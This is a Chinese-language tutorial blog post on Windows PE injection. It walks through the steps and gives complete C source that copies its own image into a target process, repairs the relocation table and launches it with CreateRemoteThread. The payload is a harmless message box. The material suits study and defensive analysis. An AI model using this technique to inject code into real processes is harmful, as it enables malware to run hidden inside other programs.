进程注入之Portable Executable Injection,PE注入的核心是创建远程线程,注意重定位表修复

发布时间 2023-09-21 12:11:53作者: bonelee

 

PE(Portable Executable)注入是一种常见的代码注入技术,主要用于在目标进程中执行恶意代码。以下是PE注入的基本流程:

1. 获取当前PE映像的基地址:使用GetModuleHandle(NULL)函数获取当前PE映像(即要注入的代码)的基地址。

2. 复制PE映像:使用VirtualAlloc函数在当前进程中分配一块新的内存,然后使用memcpy函数将当前PE映像复制到新分配的内存中。

3. 打开目标进程:使用OpenProcess函数打开目标进程。目标进程是我们要注入代码的进程。

4. 在目标进程中分配内存:使用VirtualAllocEx函数在目标进程中分配一块新的内存。这块内存用于存放我们要注入的代码。

5. 计算基地址的偏移量:计算新分配的内存(在目标进程中)和当前PE映像的基地址之间的偏移量。

6. 重定位PE映像:根据计算出的偏移量,修改PE映像中的所有相对虚拟地址(RVA)。这一步是必要的,因为PE映像中的代码和数据通常都是基于相对虚拟地址的。

7. 将PE映像写入目标进程:使用WriteProcessMemory函数将重定位后的PE映像写入到目标进程的内存中。

8. 在目标进程中执行PE映像:使用CreateRemoteThread函数在目标进程中创建一个新线程,然后在新线程中执行PE映像的入口点函数。

以上就是PE注入的基本流程。需要注意的是,PE注入通常需要管理员权限,因为它需要打开其他进程并在其中执行代码。此外,PE注入也可能被防病毒软件检测到,因为它是一种常见的恶意代码注入技术。

 

#include <stdio.h>
#include <Windows.h>

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

DWORD InjectionEntryPoint()
{
	CHAR moduleName[128] = "";
	GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
	MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
	return 0;
}

int main()
{
	int pid = 14940;
	// Get current image's base address
	PVOID imageBase = GetModuleHandle(NULL);
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);

	// Allocate a new memory block and copy the current PE image to this new memory block
	PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
	memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

	// Open the target process - this is process we will be injecting this PE into
	HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid);

	// Allote a new memory block in the target process. This is where we will be injecting this PE
	PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Calculate delta between addresses of where the image will be located in the target process and where it's located currently
	DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

	// Relocate localImage, to ensure that it will have correct addresses once its in the target process
	PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
	DWORD relocationEntriesCount = 0;
	PDWORD_PTR patchedAddress;
	PBASE_RELOCATION_ENTRY relocationRVA = NULL;

	while (relocationTable->SizeOfBlock > 0)
	{
		relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
		relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

		for (short i = 0; i < relocationEntriesCount; i++)
		{
			if (relocationRVA[i].Offset)
			{
				patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
				*patchedAddress += deltaImageBase;
			}
		}
		relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
	}

	// Write the relocated localImage into the target process
	WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);

	// Start the injected PE inside the target process
	CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);

	return 0;
}

  

 

 

为什么需要重定位PE映像?

PE映像需要重定位是因为PE映像中的代码和数据通常都是基于相对虚拟地址(RVA)的。当PE映像被加载到不同的地址时,这些相对虚拟地址就会变得无效。因此,我们需要根据新的基地址重新计算这些相对虚拟地址,这个过程就叫做重定位。

具体的做法是,首先计算新旧基地址之间的偏移量,然后修改PE映像中的所有相对虚拟地址。这些相对虚拟地址通常存储在PE映像的重定位表中。

在你的代码中,重定位的过程如下:

 
// Calculate delta between addresses of where the image will be located in the target process and where it's located currently
DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
 
// Relocate localImage, to ensure that it will have correct addresses once its in the target process
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationEntriesCount = 0;
PDWORD_PTR patchedAddress;
PBASE_RELOCATION_ENTRY relocationRVA = NULL;
 
while (relocationTable->SizeOfBlock > 0)
{
    relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
    relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
 
    for (short i = 0; i < relocationEntriesCount; i++)
    {
        if (relocationRVA[i].Offset)
        {
            patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
            *patchedAddress += deltaImageBase;
        }
    }
    relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
}
 

这段代码首先计算了新旧基地址之间的偏移量deltaImageBase,然后遍历了PE映像的重定位表relocationTable,对每个需要重定位的地址进行了修正。修正的方法是将原来的地址加上偏移量deltaImageBase。这样,当PE映像被加载到新的地址时,所有的相对虚拟地址都会指向正确的位置。

 

补充:

在PE文件的重定位表中,除了全局变量的地址,还可能包含以下内容:

1. 函数地址:这包括全局函数和静态函数的地址。当PE映像被加载到新的地址时,这些函数的地址也需要进行重定位。

2. 指向数据的指针:这包括全局指针和静态指针。如果这些指针指向的数据在PE映像中,那么当PE映像被加载到新的地址时,这些指针也需要进行重定位。

3. 跳转和调用指令的目标地址:这包括跳转指令(如JMP和JZ)和调用指令(如CALL)的目标地址。当PE映像被加载到新的地址时,这些指令的目标地址也需要进行重定位。

总的来说,重定位表中包含了所有需要在加载时进行重定位的地址。这些地址通常是全局变量、函数、指针和指令的目标地址。

 

因为PE被注入到其他进程中,肯定是要修复重定位表的,因为这些全局变量、函数的地址啥的肯定都变了!这就是重定位PE映像的原因!

 

至于创建远程线程,之前的文章已经讲过了!可以参考,不再赘述。

 

参考:https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes